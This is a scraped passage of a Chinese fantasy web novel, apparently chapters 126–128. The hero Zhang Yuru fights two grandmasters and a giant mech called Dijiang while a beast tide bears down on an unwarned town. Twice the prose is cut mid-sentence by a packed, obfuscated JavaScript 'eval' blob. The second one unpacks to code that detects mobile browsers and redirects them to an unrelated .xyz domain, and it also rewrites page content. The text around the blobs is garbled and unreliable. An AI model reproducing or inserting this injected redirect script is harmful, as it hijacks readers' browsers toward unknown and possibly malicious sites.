虽然依旧疲惫,但眼神中的清明却更胜之前。 张玉汝的想法无疑是赤诚而坚定的。 他拖着疲惫的身躯在雪域峡谷中且战且退,每一次挥拳都凝聚着对后方民众的守护之心,每一次利用地形拖延时间,都寄托着“让更多人活下来”的期盼。 他用行动践行着自己的信念,也的确为这场绝境争取到了宝贵的缓冲期——若是一切顺利,这些时间本足以改变很多事情。 可现实往往与理想背道而驰。 **的是,自己拼尽全力争取的时间,正在后方被无情地浪费。 如果夏雨萱没有被羁押,如果那位冲出重围的大师能顺利将前线的真实情况传递给民众,如果她的呼喊没有被天人的谎言掩盖,那么张玉汝的坚守或许真能换来转机。 以夏雨萱的能力与北斗院的身份,只要给她半天时间,就能组织起有效的撤离队伍,让益州西部的百姓沿着河谷向东转移,远离即将到来的兽潮锋芒。 那些热心邀请她“摸麻将”的大妈,那些在街头嬉戏的孩子,本该有机会带着家当奔向安全区。 如果后方的先导会分部没有被天人操控,如果地方军官能抛开顾虑,违抗那道“原地驻守”的命令,那么张玉汝争取的时间也能转化为实际的防御力量。 益州守备部队虽不及天人宗师精锐,却有着足够的人数与装备,依托城镇构筑防线,配合民众撤离,至少能为后续的“天人防线”争取更多准备时间,减少无谓的伤亡。 萧梁武那些压抑在心底的焦虑,本该化作实实在在的行动。 如果天人们没有将“清除张玉汝”置于“守护民众”之上,如果他们的卫星不仅用来监视战局,更用来发布预警;如果那些坐镇后方的高层能少一分算计,多一分担当,那么这场灾难本可以被控制在最小范围。 十名宗师级能力者的部署,本该提前启动,而非等到兽潮逼近时才“轻描淡写”地出手。 可这一切的“如果”,终究没有发生。 张玉汝在前方浴血奋战,用血肉之躯为后方筑起临时的屏障;夏雨萱在羁押室里拍打着铁门,用愤怒的嘶吼对抗着冰冷的谎言;而那些掌握着权力与资源的人,却在计算着“颜面”与“利益”,将千万人的生死视作可以牺牲的“必要代价”。 他的坚守越是悲壮,这场错位的博弈就越是讽刺。 他以为自己争取的是生机,却不知道后方的通道早已被权力的壁垒堵死;他以为自己拖延的是时间,却不知道这些时间正在被谎言与冷漠一点点吞噬。 当张玉汝再次借力跃过一道峡谷,看着身后依旧紧追不舍的兽潮时,他或许能隐约感觉到一丝不对劲——为何始终没有看到民众撤离的迹象?为何后方的防线毫无动静? 但他没有时间去深究,只能咬着牙继续向东,继续用行动支撑着那个正在被现实侵蚀的理想。 这场一个人的坚守,终究还是落入了命运与权力编织的无形罗网。他的勇气与牺牲值得铭记,可现实的冰冷与残酷,却让这份坚守染上了一层悲壮的底色。 天人的选择,终究让张玉汝历经艰险的坚守变得毫无意义。 他在雪域峡谷中且战且退,用智慧与血肉之躯拖延了整整五天。 每一天都在突破体能极限,每一次呼吸都带着风雷之声,每一道伤口都在诉说着挣扎的惨烈。 他以为自己争取的时间能换来民众的生机,以为那些在大山外的普通人能借着这段缓冲奔向安全区。 可**,无论他多争取一天,还是两天,都改变不了任何事。 因为后方根本没有人配合他的行动——那些生活在天人编织的谎言中的居民,从未收到过任何撤离通知。 他们依旧像往常一样晨起买菜,午后闲聊,傍晚在家门口纳凉,对即将到来的灭顶之灾一无所知。 或许此刻,还有人在念叨着“那个传播谣言的女娃子真是胡闹”,完全不知道,正是那个“胡闹”的女娃和眼前这个浴血的男人,曾为他们拼过命。 当张玉汝拖着几乎散架的身体,带着那些在崇山峻岭中追了他近千里的异兽群终于走出大山时,眼前的景象让他瞬间如坠冰窟。 没有一丝慌乱的气息都没有。 远处的城镇炊烟袅袅,隐约还能听到孩童的嬉笑声,平静得像一幅虚假的画。 而在城镇边缘的开阔地带,两道身影正静静地伫立着,周身散发着若有若无的威压,正是天人派来的宗师级能力者。 他们身后不远处,十名大师级能力者已结成防御阵型,目光冰冷地锁定着从山中走出的张玉汝,以及他身后汹涌的兽潮。 显然,他们在这里等待了很久,不是为了拦截异兽,而是为了“迎接”他。 张玉汝停下脚步,胸口剧烈起伏,嘴角溢出一丝鲜血。 他看着那两名宗师,看着他们眼中毫不掩饰的杀意,瞬间明白了所有——天人们从一开始就没打算让他活着离开。 他在山里拼死拖延的时间,成了对方从容布局的资本;他为民众争取的生机,成了对方围猎自己的背景板。 那些被他斩杀的兽王,那些被他利用地形阻挡的兽潮,最终都成了将他逼入绝境的助力。 “果然……是这样吗。”张玉汝低声自语,声音沙哑得几乎听不清。 他抬起头,望着远处平静的城镇,又看了看眼前杀气腾腾的天人宗师,一股难以言喻的悲凉与愤怒涌上心头。 他所做的一切,终究还是成了别人棋盘上的牺牲品。那些他想要守护的人,此刻正生活在谎言里,对这场围绕着他的猎杀一无所知;而那些他想要对抗的人,正站在阳光下,以“正义”之名准备将他彻底抹杀。 兽潮的嘶吼越来越近,宗师的威压如同实质般压来。 “怎么来的这么慢?”那名身着水纹劲装的青年男子斜倚在一块岩石上,语气懒洋洋的,仿佛在抱怨迟到的快递。 他周身萦绕着淡淡的水汽,正是海洋类宗师汪鸿。 “可以理解。”旁边一名穿着素白旗袍的中年女子正漫不经心地修剪着指甲,声音轻柔却带着刺骨的轻蔑,“毕竟这种没背景的贱民没什么真本事,能从兽潮里爬出来就不错了,不能对他要求太高。”她便是寒冰类宗师邓岚,指尖偶尔闪过的冰晶寒光,比语气更冷。 等待张玉汝自投罗网,对天人宗师而言确实是件“漫长”的事。 宗师级能力者在神州国地位尊崇,如同行走的战略武器,自然不可能全员在此耗着。 于是十名宗师索性两人一组轮流值守,像守株待兔般等着猎物上门,看谁的“运气”更好能撞上张玉汝。 而今天,轮到汪鸿与邓岚这对组合驻守。 张玉汝站在原地,浑身浴血,却对眼前这两个装腔作势的宗师视若无睹。哪怕对方散发的宗师威压如同山岳般压来,他的目光也只是淡淡扫过,便越过两人望向东方。 在目力所及的极限处,城镇的轮廓清晰可见,炊烟袅袅,甚至能隐约看到街道上走动的人影——那些居民依旧在城市中过着日常的生活,对近在咫尺的杀机与兽潮一无所知。 “你们没有通知民众撤离。”张玉汝开口,声音沙哑却带着冰碴般的寒意,每个字都像是从牙缝里挤出来的。 他不是在询问,而是在陈述一个让他心头发冷的事实。 “是又怎么样?”汪鸿直起身,拍了拍衣角不存在的灰尘,感受着张玉汝眼中锐利如刀的目光,反而笑了起来,笑容里满是居高临下的傲慢。 “通知了又能如何?让他们像老鼠一样乱跑,把秩序搞得一团糟吗?”邓岚终于修剪完指甲,抬眼看向张玉汝,眼神像在看一只不懂事的虫子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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远处的兽潮嘶吼着逼近,近处的宗师气息冰冷如山。张玉汝站在中间,像一根即将绷断的弦,却在彻底断裂前,爆发出了最炽热的光芒。 西方的地平线上,一缕缕灰黑色的烟尘正急速弥漫开来,如同被墨汁浸染的宣纸,迅速吞噬着原本晴朗的天空。 汪鸿眯起眼睛望向远方,瞳孔微微收缩——那不是普通的风沙,而是由无数异兽组成的黑色浪潮,正铺天盖地地压过来,蹄声、嘶吼声隔着数里地传来,震得地面都在微微颤抖。 显然,那些原本被张玉汝借助地形甩开的异兽群,终究还是追了上来。它们如同闻到血腥味的鲨鱼,循着张玉汝留下的能量痕迹与血腥味,在峡谷中穿梭奔袭,此刻已抵达平原边缘,看起来用不了片刻,便能冲到张玉汝与两名天人宗师所在的位置。 “真是麻烦。”汪鸿起身,拍了拍衣袖上的尘土,语气里带着几分不耐。原本想慢慢“**”猎物,现在看来不得不加快节奏了。 另一旁的邓岚也慢悠悠地直起身,素白旗袍在风中微微摆动,指尖凝结的冰晶闪烁着寒光。她瞥了一眼逼近的兽潮,又看向张玉汝。 尽管嘴上说着“速战速决”,两人却没有丝毫轻视。 汪鸿身形微动,瞬间出现在张玉汝左侧,周身水汽骤然浓郁,空气中的湿度飙升,地面上甚至凝结出一层薄薄的水膜,隐隐形成封锁之势。 邓岚则飘身至右侧,所过之处地面瞬间冻结,一道冰墙从她脚下延伸而出,阻断了张玉汝后退的路线。 两人一左一右,默契地形成了合围之势,宗师级的威压如同实质的牢笼,将张玉汝牢牢锁在中间。 他们很清楚,能从兽潮中杀出血路、还能让十名宗师轮流值守围堵的对手,绝不可能是普通的大师级。 刚才的轻蔑不过是伪装,真正动手时,他们不会给张玉汝任何喘息的机会。 张玉汝背对着逼近的兽潮,正面迎向两名宗师的合围,身形虽显单薄,却如同一根钉在地面的钢针,屹立不倒。 他能清晰地感受到左侧那如深海般沉重的水势威压,每一次呼吸都仿佛要被水汽灌满肺腑;右侧的冰寒之力则如同附骨之蛆,顺着地面、顺着空气,一点点侵蚀着他的经脉,试图冻结他的行动与能量流转。 前后皆是绝境。 后方是无穷无尽的兽潮,前方是两位经验老到的天人宗师,无论选择哪个方向突围,都难如登天。 “现在知道怕了?”汪鸿冷笑一声,双手缓缓抬起,地面上的水膜开始剧烈翻涌,化作一道道锋利的水刃悬浮在空中,“早知道如此,当初就不该得罪天人。” 邓岚没有说话,只是指尖的冰晶越来越大,空气中的温度骤降,连飘落的雪花都在空中凝结成冰粒,噼啪作响地砸向地面。 她在蓄力,准备用最擅长的冰封,将张玉汝连同逼近的兽潮一起冻结。 张玉汝却忽然笑了。 笑声沙哑而低沉,在宗师威压与兽潮嘶吼的夹缝中响起,带着一种近乎疯狂的决绝。 “怕?”他缓缓抬起双手,黑白神光在掌心交织旋转,将体内仅剩的所有能量毫无保留地调动起来,“我从踏入这片雪域开始,就没怕过。” 他看向左侧的汪鸿,又看向右侧的邓岚。 “你们想速战速决?”张玉汝的声音陡然拔高,黑白神光暴涨,“那就来!”话音未落,他不退反进,主动向着汪鸿发起了冲锋。 与此同时,后方的兽潮已抵达近前,最前排的异兽带着腥风,张开獠牙扑了过来。 第 127章 帝江 “找死!”汪鸿见张玉汝竟敢主动冲锋,眼中寒光一闪,悬浮在空中的水刃瞬间化作密集的箭雨,带着尖锐的破空声射向张玉汝周身要害。 这些水刃边缘泛着淡淡的蓝光,显然被注入了压缩能量,哪怕是合金钢板也能轻易切开。 张玉汝脚下黑白神光流转,身形陡然横移,险之又险地避开第一道水刃。 几乎在闪避的同时,他眼中混沌微光亮起——「造化之眼」已将汪鸿的水刃轨迹与能量流动看得一清二楚。 这些水刃看似密集无隙,实则每三道一组,能量衔接处存在微妙的迟滞。 “就是现在!”他脚尖在地面一点,借着反冲力骤然加速,刚好从两组水刃的间隙中钻了过去。 与此同时,右手凝聚的黑色神光猛然拍出,并非攻击汪鸿,而是精准轰在地面的水膜上。 「颠倒」发动!原本顺滑流动的水膜瞬间逆向翻涌,化作一道浑浊的水墙,反而挡住了后续的水刃攻击。 汪鸿脸色微变,没想到自己操控的水体竟被对方利用,正欲调整能量,却见张玉汝身影已如鬼魅般扑至近前。 “邓岚!”汪鸿沉声喝道。 右侧的邓岚早已蓄势待发,见张玉汝突破水刃封锁,嘴角勾起一抹冷笑。 她身前的冰墙骤然崩塌,无数冰锥如同流星雨般射向张玉汝,同时地面的冰霜顺着他的脚步快速蔓延,试图冻结他的行动。 冰锥上覆盖着一层白色寒气,所过之处空气都凝结出冰晶,显然带着极强的禁锢效果。 就在冰锥及体的刹那,张玉汝眼中神光再变——「加速世界」悄然发动。 他将自身感知领域内的速度提升,邓岚冰锥的飞行轨迹在他眼中瞬间变慢,连冰霜蔓延的速度都清晰可见。 他看到冰锥能量最集中的尖端,也看到了冰霜禁锢力场的薄弱节点。 “破!”张玉汝左手挥洒出白色神光,如同撒下一片光网,精准撞击在每道冰锥的尖端。 那些看似坚不可摧的冰锥竟如同玻璃般碎裂,化作漫天冰雾。 同时他双脚灌注能量,猛地一跺地面,震碎脚下的冰霜,借着反震之力向后急退,避开了邓岚紧随而至的冰封领域。 “有点意思。”邓岚眼中闪过一丝讶异,这个大师级竟能连续破解她与汪鸿的配合攻击。 她没有停顿,对着汪鸿点头示意。 汪鸿心领神会,双手猛地按向地面。 只见他周身的水汽疯狂汇聚,竟在短短数息内化作一片方圆千米的巨大水体,如同凭空出现的湖泊,将张玉汝与邓岚同时笼罩其中。 这片水体并非普通的水,而是蕴含着汪鸿本源能量的“重水”,密度远超寻常液体,哪怕是宗师陷入其中也会感到行动滞涩。 “在水里,看你怎么躲!”汪鸿的声音在水体中回荡,他本人已与水体融为一体,操控着水流形成一道道旋转的水涡,不断挤压张玉汝的活动空间。 更可怕的是邓岚的配合。 她站在水体边缘,双手按在水面上,冰寒之力顺着水流快速扩散。原本流动的重水以肉眼可见的速度结冰,从边缘向中心蔓延,形成一个不断收缩的冰笼。 冰与水的双重挤压下,张玉汝的身影在水体中越来越清晰,似乎已无处可逃。 “结束了。”邓岚指尖凝聚出一根冰晶长矛,准备给予最后一击。 就在此时,水体中心的张玉汝突然闭上双眼,周身黑白神光剧烈旋转。 「造化之眼」已看穿这片重水的能量核心——汪鸿的意识附着在水体最深处的漩涡中,而邓岚的冰寒之力则在水流交汇处最为薄弱。 同时「加速世界」将他的神经反应提升到极致,捕捉着水与冰能量转换的瞬间破绽。 张玉汝猛地睁眼,双手交叉划出一道太极图案。 黑白神光顺着水流快速蔓延,所过之处重水竟开始紊乱,冰与水的转换出现迟滞。 他抓住这个瞬间,身体如同游鱼般钻入一道水涡,非但没有被漩涡吞噬,反而借着水流的力量加速,直扑水体深处的能量核心。 “不好!”汪鸿大惊失色,他没想到张玉汝竟敢主动冲击自己的核心。 他急忙调动水流阻拦,却发现张玉汝的路线刁钻至极,每次都能避开水流最强处,如同提前预知了他的操控。 噗!黑白神光穿透水涡,精准击中汪鸿隐藏的能量核心。 汪鸿闷哼一声,水体剧烈波动,笼罩范围瞬间缩小一半。 趁着汪鸿受创、水体动荡的刹那,张玉汝借力冲出水面,恰好避开邓岚射来的冰晶长矛。 他落在一块未被冰封的地面上,胸口剧烈起伏,嘴角溢出鲜血——硬撼两大宗师的合力攻击,他的消耗已到极限。 但他手中的黑白神光却愈发凝练,目光死死锁定着因水体动荡而出现破绽的汪鸿与邓岚。 虽然身处绝境,他却用「造化之眼」与「加速世界」硬生生在宗师合围中撕开了一道口子,制造出了转瞬即逝的反击机会。 “这家伙,真的只是一名大师级能力者吗?”汪鸿捂着被击中的能量核心,心中涌起强烈的诧异。 水体因他的动摇而剧烈翻涌,重水的密度波动愈发明显,连带着他对水流的操控都出现了一丝迟滞。 他很清楚宗师与大师之间的本质差距——那不仅仅是能量总量的碾压,更有位阶提升带来的“能量抗性”。 这种抗性如同无形的铠甲,能自动削弱低阶能力者的攻击,寻常大师就算拼尽全力击中宗师,也只会被抗性抵消大半伤害,很难造成实质威胁。 可刚才张玉汝那道黑白神光截然不同。 它穿透重水屏障时没有受到丝毫削弱,击中能量核心的瞬间,竟直接撕裂了他的抗性壁垒,如同滚烫的钢针穿透牛油,那种尖锐的刺痛感至今还在经脉中蔓延。 这根本不符合常理,一个大师级怎么可能拥有无视宗师抗性的攻击?汪鸿看向张玉汝的目光中第一次带上了凝重。 他终于意识到,眼前这个看似油尽灯枯的对手,掌握的绝不是普通的大师级能力 一旁的邓岚将这一幕看得清清楚楚,眼中的寒意瞬间凝固成实质的杀意。 她没有汪鸿的诧异,只有愈发强烈的决绝。刚才张玉汝在水冰合围中逆势反击的身影,像一根毒刺扎进了她的心里——这个男人的成长潜力已经超出了“威胁”的范畴,达到了必须立刻扼杀的程度。 她甚至在心中闪过一个疯狂的念头:哪怕放任身后的兽潮冲过防线,让益州西部的城镇血流成河,让那些“耗材般的民众”被异兽屠戮殆尽,也绝对不能让张玉汝活着离开这里。 因为民众**可以再安抚,可以用“牺牲换取胜利”的话术**;可张玉汝活着逃出去,一旦成长为宗师甚至大宗师,以他对天人的敌意和这种诡异的破防能力,将来必然会成为天人统治的最大隐患。 一个能在大师级就硬撼宗师、无视抗性的存在,若是让他突破位阶,后果不堪设想。 “汪鸿,别留手了!”邓岚的声音冰冷如刀,指尖的冰晶长矛再次凝聚,这一次矛身缠绕着肉眼可见的寒气漩涡,“用‘覆海’,我来冰封他的所有退路!就算毁了这片平原,也要把他留在这里!” 随着她的话音落下,地面的冰霜再次疯狂蔓延,这一次不再是缓慢冻结,而是化作一道道冰棱荆棘,沿着地表、顺着空气,向张玉汝所在的位置极速刺去,连天空都被寒气染成了灰白色。 她要构建一个密不透风的冰封领域,让张玉汝连闪避的空间都没有。汪鸿深吸一口气,压下心中的震动,眼中闪过狠厉之色。 他双手结印,周身的重水再次暴涨,这一次不再是困住张玉汝的湖泊,而是化作一道高达数十丈的水墙,遮蔽了半个天空。水墙中蕴含的能量远超之前,甚至能隐约看到水龙虚影在其中翻腾——这是他压箱底的能力“覆海”,一旦发动,足以将方圆万米化作泽国。 两人显然达成了共识:哪怕暴露更多力量,哪怕承受更大代价,也要在兽潮抵达前彻底解决张玉汝。 张玉汝站在冰与水的夹缝中,清晰地感受到两股杀意的锁定。 他能看到汪鸿水墙中奔腾的毁灭性能量,也能看到邓岚冰棱里蕴含的绝对禁锢,更能察觉到两人眼神中那种“不惜一切”的决绝。 他嘴角勾起一抹带血的冷笑。这些高高在上的天人宗师,终于不再掩饰他们的本质了——为了铲除异己,连千万人的生死都可以弃之不顾。 “想留我?”张玉汝缓缓站直身体,尽管气息已微弱到极致,眼中的神光却亮得惊人,“那就看看,你们有没有这个本事!”话音未落,他主动迎向了那道刺来的冰棱荆棘。 黑白神光在他掌心急速旋转,这一次不再是精准的点杀,而是化作一片混沌光幕,准备硬撼即将到来的水冰合击。 双方的对峙只维持了不到两秒钟。 就在汪鸿的覆海水墙即将落下、邓岚的冰棱荆棘即将封境的刹那,张玉汝率先打破了僵局。 他周身黑白神光骤然爆发,身影竟一分为二,化作两团截然不同的流光——一团如墨般深沉,裹挟着吞噬一切的阴寒之力;一团光明璀璨,散发着撕裂虚空的锐利气息,分别朝着邓岚与汪鸿杀去。 “竟然想要一次性对两个人出手,真是猖狂!”邓岚心中冷哼。 在她看来,这简直是自寻死路。 宗师与大师之间的位阶差距如同天堑,寻常大师能在一名宗师手下撑过十招已属难得,张玉汝竟敢分心两顾,简直是对天人宗师的侮辱。 可下一秒,邓岚的瞳孔便微微收缩。她全力运转感知,却根本看不出这两团流光的区别——无论是能量波动、气息频率,甚至连流动的轨迹都与张玉汝的本体毫无二致,完全分不清哪个才是真身。 这种近乎完美的能量模拟,早已超出了普通大师的能力范畴。 “碎!”邓岚与汪鸿几乎同时出手。 邓岚指尖的冰晶长矛破空而出,精准刺穿了黑色流光,那团墨色光芒瞬间溃散成漫天能量碎屑;汪鸿则操控重水凝聚成一只水龙巨爪,狠狠拍向白色流光,同样将其击得粉碎。 然而,就在两团流光消散的瞬间,两人脸色同时剧变。 溃散的能量碎屑中没有丝毫生命气息,更没有预想中的重创反应——这两团流光,竟然全都是能量幻影! “不好,这小子想要跑!”汪鸿瞬间反应过来,心中暗骂一声中计。 他立刻扩大感知范围,重水领域疯狂扩散,试图锁定张玉汝的踪迹。邓岚更是直接引爆了周围的冰棱荆棘,无数冰晶炸裂开来,形成一片冰封感知网,任何能量波动都休想逃过她的探查。但他们还是慢了一步。 张玉汝从一开始就没打算与两名宗师死战。 他很清楚,自己的核心目的从来不是逞凶斗狠,而是将异兽潮逼近的消息传递出去,更是要在天人的围杀中活下去。刚才的攻击姿态不过是刻意摆出的幌子,是为了掩盖真正的脱身之计。 对于掌握变化之道张玉汝来说,制造两团气息一致的能量分身并非难事。 他早已将「造化之眼」解析出的自身能量频率复刻到分身中,再用「颠倒世界」微调能量流动,让分身的波动与本体彻底同步,足以骗过仓促间的感知探查。 就在两团分身吸引邓岚与汪鸿注意力的刹那,张玉汝已悄然激活了藏在掌心的碎空镜碎片。这枚蕴含空间之力的至宝微微震颤,一道细微的空间裂隙在他脚下悄然张开。 常规的空间跳跃必然会产生剧烈的能量波动,哪怕是宗师级也无法完全掩盖,很容易被同级强者捕捉。 但张玉汝早有准备——他同时运转「永恒」与「颠倒世界」,「永恒」让空间裂隙的能量波动维持在恒定的低频状态,如同将喧嚣的杂音压入地底;「颠倒世界」则逆转了波动的传播方向,所有能量痕迹都向着相反方向扩散,形成一片虚假的空间干扰区。 一隐一导之间,空间跳跃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163978|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波动被完美掩盖。当邓岚与汪鸿意识到中计、全力探查时,张玉汝的身影已消失在原地。 只有一道微不可察的空间涟漪在冰与水的夹缝中一闪而逝,如同从未出现过。 “混蛋!”邓岚看着空荡荡的冰封领域,气得脸色铁青,冰棱荆棘因她的怒火而疯狂震颤,“追!他绝对跑不远!空间跳跃必然有冷却时间,他的能量也所剩无几了!” 汪鸿没有废话,操控着重水领域如同潮水般向东蔓延,同时调动天人的卫星权限,锁定了这片区域的所有空间波动:“他肯定是往城镇方向跑了,想去找那些民众当挡箭牌!别让他得逞!”两人一前一后,带着滔天的怒火与杀意,向着张玉汝消失的方向追去。 而此刻的张玉汝,已通过空间跳跃出现在数里外的一处山丘后方。他半跪在地上剧烈喘息,嘴角不断溢出鲜血——强行催动碎空镜几乎抽空了他最后残存的能量,经脉传来阵阵撕裂般的疼痛。 但他没有丝毫停顿,稍一调息便立刻起身,辨明方向后,向着东方的城镇疾奔而去。 真正的逃亡才刚刚开始。 身后是紧追不舍的宗师杀局,前方是毫不知情的民众,而更远处,黑色的兽潮已如乌云般压向平原。 他必须在被追上之前,找到传递消息的方法,哪怕只有万分之一的可能,也要让那些被蒙在鼓里的人们,知道即将到来的灭顶之灾。 没有理会身后如同无头苍蝇般疯狂探查的汪鸿与邓岚,张玉汝立刻盘膝坐下,指尖凝聚起最后一丝黑白神光,准备催动碎空镜进行第二次空间跳跃。 然而,就在空间裂隙即将再次张开的刹那,一股磅礴的空间禁锢之力突然从四面八方涌来。 那道刚刚浮现的空间通道如同被无形的大手捏碎,瞬间消失无踪,连碎空镜都传来一阵剧烈的震颤,仿佛空间本身都在拒绝他的请求。 “怎么回事?”张玉汝心中一沉,猛地抬头望向天空。 “你很强,可是今天你必须留在这里。”一道如同洪钟大吕般的声音自高空传来,带着金属摩擦般的冷硬质感,震得空气都在嗡嗡作响。 只见天际云层翻涌,一栋银白色的庞然大物破开云层,带着遮天蔽日的气势缓缓落下。 它的体积远超寻常建筑,表面覆盖着流光溢彩的合金装甲,无数能量管道在装甲缝隙中闪烁着幽蓝光芒,落地时激起的气浪将周围的积雪尽数吹散。 直到它完全落地,张玉汝才看清这并非建筑——挡在他面前的,赫然是一条覆盖着厚重金属鳞甲的巨大下肢,足有十丈之高,脚踝处的关节结构复杂精密,每一根金属骨骼都散发着令人窒息的压迫感。 而在这条下肢后方,更多的金属肢体与躯干正在缓缓展开,如同从神话中走出的巨兽。 “先导会的山海机甲……帝江!”张玉汝瞳孔骤缩,心中掀起惊涛骇浪。 他曾在混乱之地的情报中见过关于这种终极兵器的描述——山海机甲系列是先导会集合顶尖科技与超凡力量打造的战争机器,每一台都以神话中的异兽命名。 而“帝江”更是其中的佼佼者,传闻由三名机师者联手操控,搭载了空间禁锢、能量湮灭、物理防御三大核心系统,专门用于围杀高阶能力者或对抗顶级异兽。 没想到天人为了杀他,竟然连这种压箱底的杀器都动用了。 帝江机甲的上半身彻底展开,头部没有五官,只有一块巨大的能量晶体,此刻正发出猩红的光芒,牢牢锁定着张玉汝。 刚才那道声音再次响起,带着不容置疑的决绝:“张玉汝,放弃抵抗。你的空间跳跃对帝江无效,它搭载的‘锁天’系统能禁锢方圆千米的空间波动,任何空间神通都无法生效。” 随着话音落下,帝江机甲抬起另一条金属巨腿,重重踏在地面。一圈肉眼可见的能量波纹以它为中心扩散开来,所过之处,空气仿佛变得粘稠无比,张玉汝能清晰地感觉到周围的空间力量被死死压制,连碎空镜都彻底失去了反应。 更糟的是,身后传来了急促的能量波动——汪鸿与邓岚也追了上来,看到帝江机甲的瞬间,两人脸上都露出了如释重负的表情。 “看来我们不用追了。”汪鸿冷笑一声,操控着重水领域将张玉汝的退路彻底封死,“有帝江在,就算你有通天彻地之能,今天也插翅难飞。” 邓岚则盯着帝江机甲的能量晶体,语气带着一丝敬畏:“没想到总部这么重视他,连‘帝江’都调来了。这下省心了。” 前有帝江机甲的空间禁锢与物理封锁,后有两名宗师的能量合围,张玉汝彻底陷入了绝境。 他能感觉到帝江机甲体内蕴含的恐怖能量,那绝非现在的自己能够抗衡——哪怕是巅峰状态,面对这种科技与超凡结合的战争机器,他也只有逃命的份。 帝江机甲的右臂突然变形,化作一门巨大的能量炮,炮口开始汇聚刺眼的白光。锁定提示如同针扎般刺在张玉汝的感知中。 “结束了。”冰冷的机械合成音响起。张玉汝深吸一口气,缓缓站直身体。 尽管已是油尽灯枯,被三方合围,他眼中却没有丝毫绝望,反而燃起了最后的锋芒。 他看向帝江机甲,又看向汪鸿与邓岚,最后将目光投向远方的城镇——那里依旧平静,居民们还不知道,守护他们的“终极兵器”,此刻正将炮口对准了试图拯救他们的人。 “结束?”张玉汝低声自语,嘴角勾起一抹决绝的笑容,“未必。”他猛地抬起双手,将体内最后残存的所有能量,包括生命本源都毫无保留地调动起来。 黑白神光不再内敛,而是如同火山般爆发,在他身后形成一道巨大的阴阳太极虚影。 就算死,他也要让这些人知道,他张玉汝拼到最后一刻,也绝不会束手就擒! 能量炮的光芒越来越亮,宗师的威压如同实质,机甲的阴影笼罩大地。 张玉汝的身影在绝境中显得无比渺小,却又无比挺拔,他迎着即将到来的毁灭,打出了自己最后的一拳。 第 128章 底线 倾尽张玉汝全部力量的一拳,裹挟着黑白交织的神光,与帝江机甲炮口喷出的湮灭能量轰然碰撞。 没有惊天动地的巨响,只有一片扭曲的能量真空——两种截然不同的力量在接触点疯狂湮灭,掀起的狂风如同无形的巨手,将周围的积雪与碎石尽数卷上天空。 张玉汝在狂风中如遭重击,身体如同断线的风筝般连连后退,每退一步都在雪地上留下一个深深的血印。 他能感觉到体内的能量如同决堤的洪水般溃散,骨骼传来阵阵碎裂般的剧痛,视线也开始变得模糊。 但他死死咬着牙没有倒下,因为他看到帝江机甲的湮灭能量炮也出现了一瞬间的迟滞,炮口的白光黯淡了少许。 就在这僵持的刹那,异变陡生!“轰!”地面突然剧烈震颤,一道漆黑的裂痕从帝江机甲脚下蔓延开来。 紧接着,一只覆盖着坚硬鳞片的巨大黑色爪子猛地从地下伸出,足有帝江机甲的下肢粗细,带着撕裂大地的巨力,死死抓住了帝江机甲的后腿关节! “吱呀——”刺耳的金属摩擦声响起,帝江机甲坚固的合金装甲竟被这只爪子捏出深深的凹痕。 还没等操控机甲的天人反应过来,那爪子猛地发力,竟硬生生将这台庞然大物向着地下拖动! 帝江机甲的能量晶体瞬间红光暴涨,试图挣脱束缚,却见更多的黑色利爪从地下钻出,如同破土而出的妖魔之手,纷纷抓住机甲的躯干与肢体。 这突如其来的意外,瞬间打断了原本的战斗!“什么东西?!”汪鸿脸色剧变,操控着重水形成水墙防御,警惕地看向四周。 邓岚更是瞬间将冰寒之力提升到极致,周身凝结出厚厚的冰甲:“是地底异兽!它们怎么会突然攻击机甲?” 答案很快揭晓。伴随着一声声震彻百里的嘶吼,西方地平线上的黑色浪潮终于抵达了这片战场。 数不清的异兽如同决堤的洪水般涌来,有展翅遮天的飞禽,有奔腾咆哮的走兽,有蜿蜒滑行的鳞虫,更有无数从地底钻出的蠕虫与甲壳类怪物。 刚才攻击帝江机甲的,正是兽潮中擅长钻地的“深渊爪兽”。 它们显然被刚才能量碰撞的波动吸引,将帝江机甲、张玉汝、汪鸿与邓岚全都视作了猎物。 无穷无尽的异兽嘶吼着扑向战场中心,瞬间将这片区域变成了混乱的屠宰场。 帝江机甲被深渊爪兽拖入地下,一时难以挣脱,不得不将火力转向地下的敌人,湮灭能量炮对着地面疯狂轰击,炸出一个个巨大的深坑,却依旧无法阻止源源不断的异兽从地下钻出。 汪鸿与邓岚也陷入了兽群的**。 虽然以他们的宗师实力,普通异兽根本无法伤其分毫,但架不住异兽数量太多。 水龙与冰锥不断撕碎扑来的异兽,却如同投入大海的石子,根本无法阻挡兽潮的洪流。 他们不得不收缩防御,暂时放弃了对张玉汝的追杀。 而张玉汝,这个原本被三方围杀的目标,此刻竟成了混乱中唯一的“空隙”。 兽潮的注意力被帝江机甲这台散发着强大能量的“巨物”吸引,大部分异兽都涌向了机甲与两位宗师的方向。 只有少数几只异兽注意到了角落里摇摇欲坠的张玉汝,但还没靠近就被混乱的兽群撞开。 张玉汝靠在一块岩石上,剧烈地喘息着。他看着眼前混乱的战局,眼中闪过一丝复杂的光芒——他从未想过,自己的生机竟然会由这些被他一路引过来的异兽带来。 这突如其来的变故,就像是命运开的一场荒诞玩笑。 他知道这是唯一的机会。帝江机甲与两位宗师被兽潮缠住,空间禁锢的力量因机甲被攻击而出现松动,碎空镜传来微弱的感应。 “必须走……”张玉汝再次激活了碎空镜。 这一次,空间裂隙虽然依旧不稳定,却没有像刚才那样直接消失。 他最后看了一眼被兽潮淹没的战场,看了一眼远处依旧平静的城镇,转身踏入了那道闪烁着微光的空间裂隙。 